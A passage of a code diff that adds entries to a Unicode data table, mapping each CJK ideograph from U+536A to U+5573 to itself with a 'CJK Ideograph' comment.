+ ["\u536A", "\u536A"], /* CJK Ideograph */
+ ["\u536B", "\u536B"], /* CJK Ideograph */
+ ["\u536C", "\u536C"], /* CJK Ideograph */
+ ["\u536D", "\u536D"], /* CJK Ideograph */
+ ["\u536E", "\u536E"], /* CJK Ideograph */
+ ["\u536F", "\u536F"], /* CJK Ideograph */
+ ["\u5370", "\u5370"], /* CJK Ideograph */
+ ["\u5371", "\u5371"], /* CJK Ideograph */
+ ["\u5372", "\u5372"], /* CJK Ideograph */
+ ["\u5373", "\u5373"], /* CJK Ideograph */
+ ["\u5374", "\u5374"], /* CJK Ideograph */
+ ["\u5375", "\u5375"], /* CJK Ideograph */
+ ["\u5376", "\u5376"], /* CJK Ideograph */
+ ["\u5377", "\u5377"], /* CJK Ideograph */
+ ["\u5378", "\u5378"], /* CJK Ideograph */
+ ["\u5379", "\u5379"], /* CJK Ideograph */
+ ["\u537A", "\u537A"], /* CJK Ideograph */
+ ["\u537B", "\u537B"], /* CJK Ideograph */
+ ["\u537C", "\u537C"], /* CJK Ideograph */
+ ["\u537D", "\u537D"], /* CJK Ideograph */
+ ["\u537E", "\u537E"], /* CJK Ideograph */
+ ["\u537F", "\u537F"], /* CJK Ideograph */
+ ["\u5380", "\u5380"], /* CJK Ideograph */
+ ["\u5381", "\u5381"], /* CJK Ideograph */
+ ["\u5382", "\u5382"], /* CJK Ideograph */
+ ["\u5383", "\u5383"], /* CJK Ideograph */
+ ["\u5384", "\u5384"], /* CJK Ideograph */
+ ["\u5385", "\u5385"], /* CJK Ideograph */
+ ["\u5386", "\u5386"], /* CJK Ideograph */
+ ["\u5387", "\u5387"], /* CJK Ideograph */
+ ["\u5388", "\u5388"], /* CJK Ideograph */
+ ["\u5389", "\u5389"], /* CJK Ideograph */
+ ["\u538A", "\u538A"], /* CJK Ideograph */
+ ["\u538B", "\u538B"], /* CJK Ideograph */
+ ["\u538C", "\u538C"], /* CJK Ideograph */
+ ["\u538D", "\u538D"], /* CJK Ideograph */
+ ["\u538E", "\u538E"], /* CJK Ideograph */
+ ["\u538F", "\u538F"], /* CJK Ideograph */
+ ["\u5390", "\u5390"], /* CJK Ideograph */
+ ["\u5391", "\u5391"], /* CJK Ideograph */
+ ["\u5392", "\u5392"], /* CJK Ideograph */
+ ["\u5393", "\u5393"], /* CJK Ideograph */
+ ["\u5394", "\u5394"], /* CJK Ideograph */
+ ["\u5395", "\u5395"], /* CJK Ideograph */
+ ["\u5396", "\u5396"], /* CJK Ideograph */
+ ["\u5397", "\u5397"], /* CJK Ideograph */
+ ["\u5398", "\u5398"], /* CJK Ideograph */
+ ["\u5399", "\u5399"], /* CJK Ideograph */
+ ["\u539A", "\u539A"], /* CJK Ideograph */
+ ["\u539B", "\u539B"], /* CJK Ideograph */
+ ["\u539C", "\u539C"], /* CJK Ideograph */
+ ["\u539D", "\u539D"], /* CJK Ideograph */
+ ["\u539E", "\u539E"], /* CJK Ideograph */
+ ["\u539F", "\u539F"], /* CJK Ideograph */
+ ["\u53A0", "\u53A0"], /* CJK Ideograph */
+ ["\u53A1", "\u53A1"], /* CJK Ideograph */
+ ["\u53A2", "\u53A2"], /* CJK Ideograph */
+ ["\u53A3", "\u53A3"], /* CJK Ideograph */
+ ["\u53A4", "\u53A4"], /* CJK Ideograph */
+ ["\u53A5", "\u53A5"], /* CJK Ideograph */
+ ["\u53A6", "\u53A6"], /* CJK Ideograph */
+ ["\u53A7", "\u53A7"], /* CJK Ideograph */
+ ["\u53A8", "\u53A8"], /* CJK Ideograph */
+ ["\u53A9", "\u53A9"], /* CJK Ideograph */
+ ["\u53AA", "\u53AA"], /* CJK Ideograph */
+ ["\u53AB", "\u53AB"], /* CJK Ideograph */
+ ["\u53AC", "\u53AC"], /* CJK Ideograph */
+ ["\u53AD", "\u53AD"], /* CJK Ideograph */
+ ["\u53AE", "\u53AE"], /* CJK Ideograph */
+ ["\u53AF", "\u53AF"], /* CJK Ideograph */
+ ["\u53B0", "\u53B0"], /* CJK Ideograph */
+ ["\u53B1", "\u53B1"], /* CJK Ideograph */
+ ["\u53B2", "\u53B2"], /* CJK Ideograph */
+ ["\u53B3", "\u53B3"], /* CJK Ideograph */
+ ["\u53B4", "\u53B4"], /* CJK Ideograph */
+ ["\u53B5", "\u53B5"], /* CJK Ideograph */
+ ["\u53B6", "\u53B6"], /* CJK Ideograph */
+ ["\u53B7", "\u53B7"], /* CJK Ideograph */
+ ["\u53B8", "\u53B8"], /* CJK Ideograph */
+ ["\u53B9", "\u53B9"], /* CJK Ideograph */
+ ["\u53BA", "\u53BA"], /* CJK Ideograph */
+ ["\u53BB", "\u53BB"], /* CJK Ideograph */
+ ["\u53BC", "\u53BC"], /* CJK Ideograph */
+ ["\u53BD", "\u53BD"], /* CJK Ideograph */
+ ["\u53BE", "\u53BE"], /* CJK Ideograph */
+ ["\u53BF", "\u53BF"], /* CJK Ideograph */
+ ["\u53C0", "\u53C0"], /* CJK Ideograph */
+ ["\u53C1", "\u53C1"], /* CJK Ideograph */
+ ["\u53C2", "\u53C2"], /* CJK Ideograph */
+ ["\u53C3", "\u53C3"], /* CJK Ideograph */
+ ["\u53C4", "\u53C4"], /* CJK Ideograph */
+ ["\u53C5", "\u53C5"], /* CJK Ideograph */
+ ["\u53C6", "\u53C6"], /* CJK Ideograph */
+ ["\u53C7", "\u53C7"], /* CJK Ideograph */
+ ["\u53C8", "\u53C8"], /* CJK Ideograph */
+ ["\u53C9", "\u53C9"], /* CJK Ideograph */
+ ["\u53CA", "\u53CA"], /* CJK Ideograph */
+ ["\u53CB", "\u53CB"], /* CJK Ideograph */
+ ["\u53CC", "\u53CC"], /* CJK Ideograph */
+ ["\u53CD", "\u53CD"], /* CJK Ideograph */
+ ["\u53CE", "\u53CE"], /* CJK Ideograph */
+ ["\u53CF", "\u53CF"], /* CJK Ideograph */
+ ["\u53D0", "\u53D0"], /* CJK Ideograph */
+ ["\u53D1", "\u53D1"], /* CJK Ideograph */
+ ["\u53D2", "\u53D2"], /* CJK Ideograph */
+ ["\u53D3", "\u53D3"], /* CJK Ideograph */
+ ["\u53D4", "\u53D4"], /* CJK Ideograph */
+ ["\u53D5", "\u53D5"], /* CJK Ideograph */
+ ["\u53D6", "\u53D6"], /* CJK Ideograph */
+ ["\u53D7", "\u53D7"], /* CJK Ideograph */
+ ["\u53D8", "\u53D8"], /* CJK Ideograph */
+ ["\u53D9", "\u53D9"], /* CJK Ideograph */
+ ["\u53DA", "\u53DA"], /* CJK Ideograph */
+ ["\u53DB", "\u53DB"], /* CJK Ideograph */
+ ["\u53DC", "\u53DC"], /* CJK Ideograph */
+ ["\u53DD", "\u53DD"], /* CJK Ideograph */
+ ["\u53DE", "\u53DE"], /* CJK Ideograph */
+ ["\u53DF", "\u53DF"], /* CJK Ideograph */
+ ["\u53E0", "\u53E0"], /* CJK Ideograph */
+ ["\u53E1", "\u53E1"], /* CJK Ideograph */
+ ["\u53E2", "\u53E2"], /* CJK Ideograph */
+ ["\u53E3", "\u53E3"], /* CJK Ideograph */
+ ["\u53E4", "\u53E4"], /* CJK Ideograph */
+ ["\u53E5", "\u53E5"], /* CJK Ideograph */
+ ["\u53E6", "\u53E6"], /* CJK Ideograph */
+ ["\u53E7", "\u53E7"], /* CJK Ideograph */
+ ["\u53E8", "\u53E8"], /* CJK Ideograph */
+ ["\u53E9", "\u53E9"], /* CJK Ideograph */
+ ["\u53EA", "\u53EA"], /* CJK Ideograph */
+ ["\u53EB", "\u53EB"], /* CJK Ideograph */
+ ["\u53EC", "\u53EC"], /* CJK Ideograph */
+ ["\u53ED", "\u53ED"], /* CJK Ideograph */
+ ["\u53EE", "\u53EE"], /* CJK Ideograph */
+ ["\u53EF", "\u53EF"], /* CJK Ideograph */
+ ["\u53F0", "\u53F0"], /* CJK Ideograph */
+ ["\u53F1", "\u53F1"], /* CJK Ideograph */
+ ["\u53F2", "\u53F2"], /* CJK Ideograph */
+ ["\u53F3", "\u53F3"], /* CJK Ideograph */
+ ["\u53F4", "\u53F4"], /* CJK Ideograph */
+ ["\u53F5", "\u53F5"], /* CJK Ideograph */
+ ["\u53F6", "\u53F6"], /* CJK Ideograph */
+ ["\u53F7", "\u53F7"], /* CJK Ideograph */
+ ["\u53F8", "\u53F8"], /* CJK Ideograph */
+ ["\u53F9", "\u53F9"], /* CJK Ideograph */
+ ["\u53FA", "\u53FA"], /* CJK Ideograph */
+ ["\u53FB", "\u53FB"], /* CJK Ideograph */
+ ["\u53FC", "\u53FC"], /* CJK Ideograph */
+ ["\u53FD", "\u53FD"], /* CJK Ideograph */
+ ["\u53FE", "\u53FE"], /* CJK Ideograph */
+ ["\u53FF", "\u53FF"], /* CJK Ideograph */
+ ["\u5400", "\u5400"], /* CJK Ideograph */
+ ["\u5401", "\u5401"], /* CJK Ideograph */
+ ["\u5402", "\u5402"], /* CJK Ideograph */
+ ["\u5403", "\u5403"], /* CJK Ideograph */
+ ["\u5404", "\u5404"], /* CJK Ideograph */
+ ["\u5405", "\u5405"], /* CJK Ideograph */
+ ["\u5406", "\u5406"], /* CJK Ideograph */
+ ["\u5407", "\u5407"], /* CJK Ideograph */
+ ["\u5408", "\u5408"], /* CJK Ideograph */
+ ["\u5409", "\u5409"], /* CJK Ideograph */
+ ["\u540A", "\u540A"], /* CJK Ideograph */
+ ["\u540B", "\u540B"], /* CJK Ideograph */
+ ["\u540C", "\u540C"], /* CJK Ideograph */
+ ["\u540D", "\u540D"], /* CJK Ideograph */
+ ["\u540E", "\u540E"], /* CJK Ideograph */
+ ["\u540F", "\u540F"], /* CJK Ideograph */
+ ["\u5410", "\u5410"], /* CJK Ideograph */
+ ["\u5411", "\u5411"], /* CJK Ideograph */
+ ["\u5412", "\u5412"], /* CJK Ideograph */
+ ["\u5413", "\u5413"], /* CJK Ideograph */
+ ["\u5414", "\u5414"], /* CJK Ideograph */
+ ["\u5415", "\u5415"], /* CJK Ideograph */
+ ["\u5416", "\u5416"], /* CJK Ideograph */
+ ["\u5417", "\u5417"], /* CJK Ideograph */
+ ["\u5418", "\u5418"], /* CJK Ideograph */
+ ["\u5419", "\u5419"], /* CJK Ideograph */
+ ["\u541A", "\u541A"], /* CJK Ideograph */
+ ["\u541B", "\u541B"], /* CJK Ideograph */
+ ["\u541C", "\u541C"], /* CJK Ideograph */
+ ["\u541D", "\u541D"], /* CJK Ideograph */
+ ["\u541E", "\u541E"], /* CJK Ideograph */
+ ["\u541F", "\u541F"], /* CJK Ideograph */
+ ["\u5420", "\u5420"], /* CJK Ideograph */
+ ["\u5421", "\u5421"], /* CJK Ideograph */
+ ["\u5422", "\u5422"], /* CJK Ideograph */
+ ["\u5423", "\u5423"], /* CJK Ideograph */
+ ["\u5424", "\u5424"], /* CJK Ideograph */
+ ["\u5425", "\u5425"], /* CJK Ideograph */
+ ["\u5426", "\u5426"], /* CJK Ideograph */
+ ["\u5427", "\u5427"], /* CJK Ideograph */
+ ["\u5428", "\u5428"], /* CJK Ideograph */
+ ["\u5429", "\u5429"], /* CJK Ideograph */
+ ["\u542A", "\u542A"], /* CJK Ideograph */
+ ["\u542B", "\u542B"], /* CJK Ideograph */
+ ["\u542C", "\u542C"], /* CJK Ideograph */
+ ["\u542D", "\u542D"], /* CJK Ideograph */
+ ["\u542E", "\u542E"], /* CJK Ideograph */
+ ["\u542F", "\u542F"], /* CJK Ideograph */
+ ["\u5430", "\u5430"], /* CJK Ideograph */
+ ["\u5431", "\u5431"], /* CJK Ideograph */
+ ["\u5432", "\u5432"], /* CJK Ideograph */
+ ["\u5433", "\u5433"], /* CJK Ideograph */
+ ["\u5434", "\u5434"], /* CJK Ideograph */
+ ["\u5435", "\u5435"], /* CJK Ideograph */
+ ["\u5436", "\u5436"], /* CJK Ideograph */
+ ["\u5437", "\u5437"], /* CJK Ideograph */
+ ["\u5438", "\u5438"], /* CJK Ideograph */
+ ["\u5439", "\u5439"], /* CJK Ideograph */
+ ["\u543A", "\u543A"], /* CJK Ideograph */
+ ["\u543B", "\u543B"], /* CJK Ideograph */
+ ["\u543C", "\u543C"], /* CJK Ideograph */
+ ["\u543D", "\u543D"], /* CJK Ideograph */
+ ["\u543E", "\u543E"], /* CJK Ideograph */
+ ["\u543F", "\u543F"], /* CJK Ideograph */
+ ["\u5440", "\u5440"], /* CJK Ideograph */
+ ["\u5441", "\u5441"], /* CJK Ideograph */
+ ["\u5442", "\u5442"], /* CJK Ideograph */
+ ["\u5443", "\u5443"], /* CJK Ideograph */
+ ["\u5444", "\u5444"], /* CJK Ideograph */
+ ["\u5445", "\u5445"], /* CJK Ideograph */
+ ["\u5446", "\u5446"], /* CJK Ideograph */
+ ["\u5447", "\u5447"], /* CJK Ideograph */
+ ["\u5448", "\u5448"], /* CJK Ideograph */
+ ["\u5449", "\u5449"], /* CJK Ideograph */
+ ["\u544A", "\u544A"], /* CJK Ideograph */
+ ["\u544B", "\u544B"], /* CJK Ideograph */
+ ["\u544C", "\u544C"], /* CJK Ideograph */
+ ["\u544D", "\u544D"], /* CJK Ideograph */
+ ["\u544E", "\u544E"], /* CJK Ideograph */
+ ["\u544F", "\u544F"], /* CJK Ideograph */
+ ["\u5450", "\u5450"], /* CJK Ideograph */
+ ["\u5451", "\u5451"], /* CJK Ideograph */
+ ["\u5452", "\u5452"], /* CJK Ideograph */
+ ["\u5453", "\u5453"], /* CJK Ideograph */
+ ["\u5454", "\u5454"], /* CJK Ideograph */
+ ["\u5455", "\u5455"], /* CJK Ideograph */
+ ["\u5456", "\u5456"], /* CJK Ideograph */
+ ["\u5457", "\u5457"], /* CJK Ideograph */
+ ["\u5458", "\u5458"], /* CJK Ideograph */
+ ["\u5459", "\u5459"], /* CJK Ideograph */
+ ["\u545A", "\u545A"], /* CJK Ideograph */
+ ["\u545B", "\u545B"], /* CJK Ideograph */
+ ["\u545C", "\u545C"], /* CJK Ideograph */
+ ["\u545D", "\u545D"], /* CJK Ideograph */
+ ["\u545E", "\u545E"], /* CJK Ideograph */
+ ["\u545F", "\u545F"], /* CJK Ideograph */
+ ["\u5460", "\u5460"], /* CJK Ideograph */
+ ["\u5461", "\u5461"], /* CJK Ideograph */
+ ["\u5462", "\u5462"], /* CJK Ideograph */
+ ["\u5463", "\u5463"], /* CJK Ideograph */
+ ["\u5464", "\u5464"], /* CJK Ideograph */
+ ["\u5465", "\u5465"], /* CJK Ideograph */
+ ["\u5466", "\u5466"], /* CJK Ideograph */
+ ["\u5467", "\u5467"], /* CJK Ideograph */
+ ["\u5468", "\u5468"], /* CJK Ideograph */
+ ["\u5469", "\u5469"], /* CJK Ideograph */
+ ["\u546A", "\u546A"], /* CJK Ideograph */
+ ["\u546B", "\u546B"], /* CJK Ideograph */
+ ["\u546C", "\u546C"], /* CJK Ideograph */
+ ["\u546D", "\u546D"], /* CJK Ideograph */
+ ["\u546E", "\u546E"], /* CJK Ideograph */
+ ["\u546F", "\u546F"], /* CJK Ideograph */
+ ["\u5470", "\u5470"], /* CJK Ideograph */
+ ["\u5471", "\u5471"], /* CJK Ideograph */
+ ["\u5472", "\u5472"], /* CJK Ideograph */
+ ["\u5473", "\u5473"], /* CJK Ideograph */
+ ["\u5474", "\u5474"], /* CJK Ideograph */
+ ["\u5475", "\u5475"], /* CJK Ideograph */
+ ["\u5476", "\u5476"], /* CJK Ideograph */
+ ["\u5477", "\u5477"], /* CJK Ideograph */
+ ["\u5478", "\u5478"], /* CJK Ideograph */
+ ["\u5479", "\u5479"], /* CJK Ideograph */
+ ["\u547A", "\u547A"], /* CJK Ideograph */
+ ["\u547B", "\u547B"], /* CJK Ideograph */
+ ["\u547C", "\u547C"], /* CJK Ideograph */
+ ["\u547D", "\u547D"], /* CJK Ideograph */
+ ["\u547E", "\u547E"], /* CJK Ideograph */
+ ["\u547F", "\u547F"], /* CJK Ideograph */
+ ["\u5480", "\u5480"], /* CJK Ideograph */
+ ["\u5481", "\u5481"], /* CJK Ideograph */
+ ["\u5482", "\u5482"], /* CJK Ideograph */
+ ["\u5483", "\u5483"], /* CJK Ideograph */
+ ["\u5484", "\u5484"], /* CJK Ideograph */
+ ["\u5485", "\u5485"], /* CJK Ideograph */
+ ["\u5486", "\u5486"], /* CJK Ideograph */
+ ["\u5487", "\u5487"], /* CJK Ideograph */
+ ["\u5488", "\u5488"], /* CJK Ideograph */
+ ["\u5489", "\u5489"], /* CJK Ideograph */
+ ["\u548A", "\u548A"], /* CJK Ideograph */
+ ["\u548B", "\u548B"], /* CJK Ideograph */
+ ["\u548C", "\u548C"], /* CJK Ideograph */
+ ["\u548D", "\u548D"], /* CJK Ideograph */
+ ["\u548E", "\u548E"], /* CJK Ideograph */
+ ["\u548F", "\u548F"], /* CJK Ideograph */
+ ["\u5490", "\u5490"], /* CJK Ideograph */
+ ["\u5491", "\u5491"], /* CJK Ideograph */
+ ["\u5492", "\u5492"], /* CJK Ideograph */
+ ["\u5493", "\u5493"], /* CJK Ideograph */
+ ["\u5494", "\u5494"], /* CJK Ideograph */
+ ["\u5495", "\u5495"], /* CJK Ideograph */
+ ["\u5496", "\u5496"], /* CJK Ideograph */
+ ["\u5497", "\u5497"], /* CJK Ideograph */
+ ["\u5498", "\u5498"], /* CJK Ideograph */
+ ["\u5499", "\u5499"], /* CJK Ideograph */
+ ["\u549A", "\u549A"], /* CJK Ideograph */
+ ["\u549B", "\u549B"], /* CJK Ideograph */
+ ["\u549C", "\u549C"], /* CJK Ideograph */
+ ["\u549D", "\u549D"], /* CJK Ideograph */
+ ["\u549E", "\u549E"], /* CJK Ideograph */
+ ["\u549F", "\u549F"], /* CJK Ideograph */
+ ["\u54A0", "\u54A0"], /* CJK Ideograph */
+ ["\u54A1", "\u54A1"], /* CJK Ideograph */
+ ["\u54A2", "\u54A2"], /* CJK Ideograph */
+ ["\u54A3", "\u54A3"], /* CJK Ideograph */
+ ["\u54A4", "\u54A4"], /* CJK Ideograph */
+ ["\u54A5", "\u54A5"], /* CJK Ideograph */
+ ["\u54A6", "\u54A6"], /* CJK Ideograph */
+ ["\u54A7", "\u54A7"], /* CJK Ideograph */
+ ["\u54A8", "\u54A8"], /* CJK Ideograph */
+ ["\u54A9", "\u54A9"], /* CJK Ideograph */
+ ["\u54AA", "\u54AA"], /* CJK Ideograph */
+ ["\u54AB", "\u54AB"], /* CJK Ideograph */
+ ["\u54AC", "\u54AC"], /* CJK Ideograph */
+ ["\u54AD", "\u54AD"], /* CJK Ideograph */
+ ["\u54AE", "\u54AE"], /* CJK Ideograph */
+ ["\u54AF", "\u54AF"], /* CJK Ideograph */
+ ["\u54B0", "\u54B0"], /* CJK Ideograph */
+ ["\u54B1", "\u54B1"], /* CJK Ideograph */
+ ["\u54B2", "\u54B2"], /* CJK Ideograph */
+ ["\u54B3", "\u54B3"], /* CJK Ideograph */
+ ["\u54B4", "\u54B4"], /* CJK Ideograph */
+ ["\u54B5", "\u54B5"], /* CJK Ideograph */
+ ["\u54B6", "\u54B6"], /* CJK Ideograph */
+ ["\u54B7", "\u54B7"], /* CJK Ideograph */
+ ["\u54B8", "\u54B8"], /* CJK Ideograph */
+ ["\u54B9", "\u54B9"], /* CJK Ideograph */
+ ["\u54BA", "\u54BA"], /* CJK Ideograph */
+ ["\u54BB", "\u54BB"], /* CJK Ideograph */
+ ["\u54BC", "\u54BC"], /* CJK Ideograph */
+ ["\u54BD", "\u54BD"], /* CJK Ideograph */
+ ["\u54BE", "\u54BE"], /* CJK Ideograph */
+ ["\u54BF", "\u54BF"], /* CJK Ideograph */
+ ["\u54C0", "\u54C0"], /* CJK Ideograph */
+ ["\u54C1", "\u54C1"], /* CJK Ideograph */
+ ["\u54C2", "\u54C2"], /* CJK Ideograph */
+ ["\u54C3", "\u54C3"], /* CJK Ideograph */
+ ["\u54C4", "\u54C4"], /* CJK Ideograph */
+ ["\u54C5", "\u54C5"], /* CJK Ideograph */
+ ["\u54C6", "\u54C6"], /* CJK Ideograph */
+ ["\u54C7", "\u54C7"], /* CJK Ideograph */
+ ["\u54C8", "\u54C8"], /* CJK Ideograph */
+ ["\u54C9", "\u54C9"], /* CJK Ideograph */
+ ["\u54CA", "\u54CA"], /* CJK Ideograph */
+ ["\u54CB", "\u54CB"], /* CJK Ideograph */
+ ["\u54CC", "\u54CC"], /* CJK Ideograph */
+ ["\u54CD", "\u54CD"], /* CJK Ideograph */
+ ["\u54CE", "\u54CE"], /* CJK Ideograph */
+ ["\u54CF", "\u54CF"], /* CJK Ideograph */
+ ["\u54D0", "\u54D0"], /* CJK Ideograph */
+ ["\u54D1", "\u54D1"], /* CJK Ideograph */
+ ["\u54D2", "\u54D2"], /* CJK Ideograph */
+ ["\u54D3", "\u54D3"], /* CJK Ideograph */
+ ["\u54D4", "\u54D4"], /* CJK Ideograph */
+ ["\u54D5", "\u54D5"], /* CJK Ideograph */
+ ["\u54D6", "\u54D6"], /* CJK Ideograph */
+ ["\u54D7", "\u54D7"], /* CJK Ideograph */
+ ["\u54D8", "\u54D8"], /* CJK Ideograph */
+ ["\u54D9", "\u54D9"], /* CJK Ideograph */
+ ["\u54DA", "\u54DA"], /* CJK Ideograph */
+ ["\u54DB", "\u54DB"], /* CJK Ideograph */
+ ["\u54DC", "\u54DC"], /* CJK Ideograph */
+ ["\u54DD", "\u54DD"], /* CJK Ideograph */
+ ["\u54DE", "\u54DE"], /* CJK Ideograph */
+ ["\u54DF", "\u54DF"], /* CJK Ideograph */
+ ["\u54E0", "\u54E0"], /* CJK Ideograph */
+ ["\u54E1", "\u54E1"], /* CJK Ideograph */
+ ["\u54E2", "\u54E2"], /* CJK Ideograph */
+ ["\u54E3", "\u54E3"], /* CJK Ideograph */
+ ["\u54E4", "\u54E4"], /* CJK Ideograph */
+ ["\u54E5", "\u54E5"], /* CJK Ideograph */
+ ["\u54E6", "\u54E6"], /* CJK Ideograph */
+ ["\u54E7", "\u54E7"], /* CJK Ideograph */
+ ["\u54E8", "\u54E8"], /* CJK Ideograph */
+ ["\u54E9", "\u54E9"], /* CJK Ideograph */
+ ["\u54EA", "\u54EA"], /* CJK Ideograph */
+ ["\u54EB", "\u54EB"], /* CJK Ideograph */
+ ["\u54EC", "\u54EC"], /* CJK Ideograph */
+ ["\u54ED", "\u54ED"], /* CJK Ideograph */
+ ["\u54EE", "\u54EE"], /* CJK Ideograph */
+ ["\u54EF", "\u54EF"], /* CJK Ideograph */
+ ["\u54F0", "\u54F0"], /* CJK Ideograph */
+ ["\u54F1", "\u54F1"], /* CJK Ideograph */
+ ["\u54F2", "\u54F2"], /* CJK Ideograph */
+ ["\u54F3", "\u54F3"], /* CJK Ideograph */
+ ["\u54F4", "\u54F4"], /* CJK Ideograph */
+ ["\u54F5", "\u54F5"], /* CJK Ideograph */
+ ["\u54F6", "\u54F6"], /* CJK Ideograph */
+ ["\u54F7", "\u54F7"], /* CJK Ideograph */
+ ["\u54F8", "\u54F8"], /* CJK Ideograph */
+ ["\u54F9", "\u54F9"], /* CJK Ideograph */
+ ["\u54FA", "\u54FA"], /* CJK Ideograph */
+ ["\u54FB", "\u54FB"], /* CJK Ideograph */
+ ["\u54FC", "\u54FC"], /* CJK Ideograph */
+ ["\u54FD", "\u54FD"], /* CJK Ideograph */
+ ["\u54FE", "\u54FE"], /* CJK Ideograph */
+ ["\u54FF", "\u54FF"], /* CJK Ideograph */
+ ["\u5500", "\u5500"], /* CJK Ideograph */
+ ["\u5501", "\u5501"], /* CJK Ideograph */
+ ["\u5502", "\u5502"], /* CJK Ideograph */
+ ["\u5503", "\u5503"], /* CJK Ideograph */
+ ["\u5504", "\u5504"], /* CJK Ideograph */
+ ["\u5505", "\u5505"], /* CJK Ideograph */
+ ["\u5506", "\u5506"], /* CJK Ideograph */
+ ["\u5507", "\u5507"], /* CJK Ideograph */
+ ["\u5508", "\u5508"], /* CJK Ideograph */
+ ["\u5509", "\u5509"], /* CJK Ideograph */
+ ["\u550A", "\u550A"], /* CJK Ideograph */
+ ["\u550B", "\u550B"], /* CJK Ideograph */
+ ["\u550C", "\u550C"], /* CJK Ideograph */
+ ["\u550D", "\u550D"], /* CJK Ideograph */
+ ["\u550E", "\u550E"], /* CJK Ideograph */
+ ["\u550F", "\u550F"], /* CJK Ideograph */
+ ["\u5510", "\u5510"], /* CJK Ideograph */
+ ["\u5511", "\u5511"], /* CJK Ideograph */
+ ["\u5512", "\u5512"], /* CJK Ideograph */
+ ["\u5513", "\u5513"], /* CJK Ideograph */
+ ["\u5514", "\u5514"], /* CJK Ideograph */
+ ["\u5515", "\u5515"], /* CJK Ideograph */
+ ["\u5516", "\u5516"], /* CJK Ideograph */
+ ["\u5517", "\u5517"], /* CJK Ideograph */
+ ["\u5518", "\u5518"], /* CJK Ideograph */
+ ["\u5519", "\u5519"], /* CJK Ideograph */
+ ["\u551A", "\u551A"], /* CJK Ideograph */
+ ["\u551B", "\u551B"], /* CJK Ideograph */
+ ["\u551C", "\u551C"], /* CJK Ideograph */
+ ["\u551D", "\u551D"], /* CJK Ideograph */
+ ["\u551E", "\u551E"], /* CJK Ideograph */
+ ["\u551F", "\u551F"], /* CJK Ideograph */
+ ["\u5520", "\u5520"], /* CJK Ideograph */
+ ["\u5521", "\u5521"], /* CJK Ideograph */
+ ["\u5522", "\u5522"], /* CJK Ideograph */
+ ["\u5523", "\u5523"], /* CJK Ideograph */
+ ["\u5524", "\u5524"], /* CJK Ideograph */
+ ["\u5525", "\u5525"], /* CJK Ideograph */
+ ["\u5526", "\u5526"], /* CJK Ideograph */
+ ["\u5527", "\u5527"], /* CJK Ideograph */
+ ["\u5528", "\u5528"], /* CJK Ideograph */
+ ["\u5529", "\u5529"], /* CJK Ideograph */
+ ["\u552A", "\u552A"], /* CJK Ideograph */
+ ["\u552B", "\u552B"], /* CJK Ideograph */
+ ["\u552C", "\u552C"], /* CJK Ideograph */
+ ["\u552D", "\u552D"], /* CJK Ideograph */
+ ["\u552E", "\u552E"], /* CJK Ideograph */
+ ["\u552F", "\u552F"], /* CJK Ideograph */
+ ["\u5530", "\u5530"], /* CJK Ideograph */
+ ["\u5531", "\u5531"], /* CJK Ideograph */
+ ["\u5532", "\u5532"], /* CJK Ideograph */
+ ["\u5533", "\u5533"], /* CJK Ideograph */
+ ["\u5534", "\u5534"], /* CJK Ideograph */
+ ["\u5535", "\u5535"], /* CJK Ideograph */
+ ["\u5536", "\u5536"], /* CJK Ideograph */
+ ["\u5537", "\u5537"], /* CJK Ideograph */
+ ["\u5538", "\u5538"], /* CJK Ideograph */
+ ["\u5539", "\u5539"], /* CJK Ideograph */
+ ["\u553A", "\u553A"], /* CJK Ideograph */
+ ["\u553B", "\u553B"], /* CJK Ideograph */
+ ["\u553C", "\u553C"], /* CJK Ideograph */
+ ["\u553D", "\u553D"], /* CJK Ideograph */
+ ["\u553E", "\u553E"], /* CJK Ideograph */
+ ["\u553F", "\u553F"], /* CJK Ideograph */
+ ["\u5540", "\u5540"], /* CJK Ideograph */
+ ["\u5541", "\u5541"], /* CJK Ideograph */
+ ["\u5542", "\u5542"], /* CJK Ideograph */
+ ["\u5543", "\u5543"], /* CJK Ideograph */
+ ["\u5544", "\u5544"], /* CJK Ideograph */
+ ["\u5545", "\u5545"], /* CJK Ideograph */
+ ["\u5546", "\u5546"], /* CJK Ideograph */
+ ["\u5547", "\u5547"], /* CJK Ideograph */
+ ["\u5548", "\u5548"], /* CJK Ideograph */
+ ["\u5549", "\u5549"], /* CJK Ideograph */
+ ["\u554A", "\u554A"], /* CJK Ideograph */
+ ["\u554B", "\u554B"], /* CJK Ideograph */
+ ["\u554C", "\u554C"], /* CJK Ideograph */
+ ["\u554D", "\u554D"], /* CJK Ideograph */
+ ["\u554E", "\u554E"], /* CJK Ideograph */
+ ["\u554F", "\u554F"], /* CJK Ideograph */
+ ["\u5550", "\u5550"], /* CJK Ideograph */
+ ["\u5551", "\u5551"], /* CJK Ideograph */
+ ["\u5552", "\u5552"], /* CJK Ideograph */
+ ["\u5553", "\u5553"], /* CJK Ideograph */
+ ["\u5554", "\u5554"], /* CJK Ideograph */
+ ["\u5555", "\u5555"], /* CJK Ideograph */
+ ["\u5556", "\u5556"], /* CJK Ideograph */
+ ["\u5557", "\u5557"], /* CJK Ideograph */
+ ["\u5558", "\u5558"], /* CJK Ideograph */
+ ["\u5559", "\u5559"], /* CJK Ideograph */
+ ["\u555A", "\u555A"], /* CJK Ideograph */
+ ["\u555B", "\u555B"], /* CJK Ideograph */
+ ["\u555C", "\u555C"], /* CJK Ideograph */
+ ["\u555D", "\u555D"], /* CJK Ideograph */
+ ["\u555E", "\u555E"], /* CJK Ideograph */
+ ["\u555F", "\u555F"], /* CJK Ideograph */
+ ["\u5560", "\u5560"], /* CJK Ideograph */
+ ["\u5561", "\u5561"], /* CJK Ideograph */
+ ["\u5562", "\u5562"], /* CJK Ideograph */
+ ["\u5563", "\u5563"], /* CJK Ideograph */
+ ["\u5564", "\u5564"], /* CJK Ideograph */
+ ["\u5565", "\u5565"], /* CJK Ideograph */
+ ["\u5566", "\u5566"], /* CJK Ideograph */
+ ["\u5567", "\u5567"], /* CJK Ideograph */
+ ["\u5568", "\u5568"], /* CJK Ideograph */
+ ["\u5569", "\u5569"], /* CJK Ideograph */
+ ["\u556A", "\u556A"], /* CJK Ideograph */
+ ["\u556B", "\u556B"], /* CJK Ideograph */
+ ["\u556C", "\u556C"], /* CJK Ideograph */
+ ["\u556D", "\u556D"], /* CJK Ideograph */
+ ["\u556E", "\u556E"], /* CJK Ideograph */
+ ["\u556F", "\u556F"], /* CJK Ideograph */
+ ["\u5570", "\u5570"], /* CJK Ideograph */
+ ["\u5571", "\u5571"], /* CJK Ideograph */
+ ["\u5572", "\u5572"], /* CJK Ideograph */
+ ["\u5573", "\u5573"], /* CJK Ideograph */
